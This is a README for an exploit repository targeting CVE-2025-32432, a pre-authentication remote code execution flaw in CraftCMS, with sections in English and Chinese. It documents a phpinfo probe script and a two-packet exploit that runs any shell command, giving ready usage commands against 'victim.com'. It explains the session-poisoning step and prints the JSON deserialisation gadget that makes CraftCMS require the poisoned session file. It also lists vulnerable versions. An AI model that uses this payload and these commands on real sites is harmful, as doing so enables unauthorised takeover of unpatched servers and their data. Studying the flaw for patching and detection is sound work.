来源

关联漏洞

介绍

# CVE-2025-32432 Exploit Scripts (Python PoC)

> **Pre-auth Remote Code Execution for CraftCMS 3.x / 4.x / 5.x**  
> **PoC Maintainer:** C.T.Y. (research use only)  
> **Vulnerability Discovery:** Nicolas Bourras – Orange Cyberdefense  
> **Additional PoC Inspiration:** SensePost research & Chirag Artani’s public script

---

## 1. Overview

This repository bundles two complementary Python exploits for **CVE-2025-32432** — a pre-authentication RCE in CraftCMS’ asset-transform endpoint.

| Script                      | Purpose                                                                                                                                                                         |
| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `craftcms_rce_php_check.py` | _Safety probe_ — sends **one request** using the **`FnStream`** gadget to verify whether arbitrary PHP executes (prints `phpinfo()` output). Ideal for low-impact confirmation. |
| `craftcms_final_payload.py` | _Full exploit_ — **two-packet chain**: first implants PHP via `FnStream`, then leverages the **`FieldLayoutBehavior → PhpManager`** gadget to execute **any shell command**.    |

> The second script is the one described throughout this README.  
> The first script is included for completeness and quick validation, courtesy of **Chirag Artani** — see _Credits_.  
> _Script filename was adapted for clarity; original structure & idea by Chirag Artani._

---

## 2. Disclaimer 🚨

For **educational & authorised security testing** only.  
Using these scripts against systems **without explicit written permission** is **illegal and unethical**.

---

## 3. Features (final payload)

- One-shot **two-packet** RCE
- Automatic `assetId` brute-force (`404 → 302` heuristic)
- Custom shell-command execution (`-c/--cmd`)
- Works over HTTP **or** HTTPS (SSL-verification warnings suppressed)
- Clean extraction of command output from HTML response

---

## 4. Requirements

- Python **3.8+**
- PyPI packages (install via `pip install -r requirements.txt`):
  - `requests`
  - `urllib3`

---

## 5. Installation

```bash
# Clone the repo
git clone https://github.com/yourname/CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt

# Install dependencies
pip install -r requirements.txt
```


---

## 6. Usage

### 6.1 Quick PHP-exec Check

```bash
python3 craftcms_rce_php_check.py -u https://victim.com
```

If you see `phpinfo()` output, the target is very likely exploitable.

### 6.2 Full Two-Packet Exploit

```bash
python3 craftcms_final_payload.py -u https://victim.com -c "id"
```

#### Options

| Option | Long form    | Description                         | Required |
| ------ | ------------ | ----------------------------------- | -------- |
| `-u`   | `--url`      | Target base URL (no trailing slash) | ✅       |
| `-c`   | `--cmd`      | Shell command to run                | ✅       |
| `-a`   | `--asset`    | Known good `assetId`                | ❌       |
| `-s`   | `--scan-max` | Brute limit (default: 300)          | ❌       |

---

## 7. How the Vulnerability Works (recap)

- **Session Poisoning** — GET to `/index.php?p=admin/dashboard&a=<?=...?>` writes arbitrary PHP into `/tmp/sess_<ID>`.
- **Deserialisation Gadget** — POST to `actions/assets/generate-transform` with a `FieldLayoutBehavior → PhpManager` gadget forces CraftCMS to `require()` the session file, executing the code.

```json
{
  "assetId": 11,
  "handle": {
    "width": 1,
    "height": 1,
    "as hack": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "yii\\rbac\\PhpManager",
      "__construct()": [
        {
          "itemFile": "/tmp/sess_<SessionID>"
        }
      ]
    }
  }
}
```

---

## 8. Tested Versions

- CraftCMS < 3.9.15 (requires `assetId` brute-force)
- CraftCMS < 4.14.15
- CraftCMS < 5.6.17

---

## 9. References & Further Reading

- [Original Advisory — Nicolas Bourras / Orange Cyberdefense](https://orangecyberdefense.com)
- [SensePost Deep-Dive Blog](https://sensepost.com)
- [Chirag Artani’s PoC](https://github.com/Sachinart/CVE-2025-32432)
- [CraftCMS Security Advisory](https://craftcms.com/knowledge-base/security-advisories)
- [CVE-2025-32432 @ MITRE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-32432)

---

## 10. Credits

- **C.T.Y.** — Full two-packet PoC & documentation
- **Chirag Artani** — Original `phpinfo` check script (`craftcms_rce_php_check.py`) and early research ideas
  _Script filename was adapted for clarity; original structure & idea by Chirag Artani._
- **Nicolas Bourras / Orange Cyberdefense** — Vulnerability discovery and responsible disclosure
- Additional insights from **SensePost** research team

---

## 11. License

> **Responsibility Notice:**
> Any legal risks or damages arising from the use of this code are solely the responsibility of the user.

MIT License — see `LICENSE`.

---

# 中文說明

## 1. 專案內容

| 檔案                        | 用途                                                                                                                                                                            |
| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `craftcms_rce_php_check.py` | **PHP 執行可行性檢查**：單一請求，使用 `FnStream` 觸發 `phpinfo()`，以低影響方式驗證目標是否易受攻擊。<br/>_此檔案名稱為說明用途而調整，原始概念與程式架構來自 Chirag Artani。_ |
| `craftcms_final_payload.py` | **兩包鏈完整利用**：先以 `FnStream` 植入 PHP，再透過 `PhpManager` 執行任意指令。                                                                                                |

---

## 2. 免責聲明

僅供教學與合法授權測試使用。未經授權操作即屬違法。

---

## 3. 快速檢查

```bash
python3 craftcms_rce_php_check.py -u https://目標站
```

---

## 4. 完整利用

```bash
python3 craftcms_final_payload.py -u https://目標站 -c "id"
```

參數與英文版相同。

---

## 5. 致謝

- **Chirag Artani** — `phpinfo` 檢查腳本
  _此檔案名稱為說明用途而調整，原始概念與程式架構來自 Chirag Artani。_
- **Nicolas Bourras / Orange Cyberdefense** — 漏洞發現與技術靈感
- **SensePost** — 技術靈感

---

## 6. 授權

> 使用本程式碼造成之任何法律風險與損失，由使用者自行承擔。

MIT License

文件快照

 [4.0K]  /data/pocs/0fc665770918f95c5a9e20203b1ad43e3d29a01e
├── [5.1K]  craftcms_final_payload.py
├── [8.0K]  craftcms_rce_php_check.py
├── [6.8K]  README.md
└── [  58]  requirements.txt

0 directories, 4 files

备注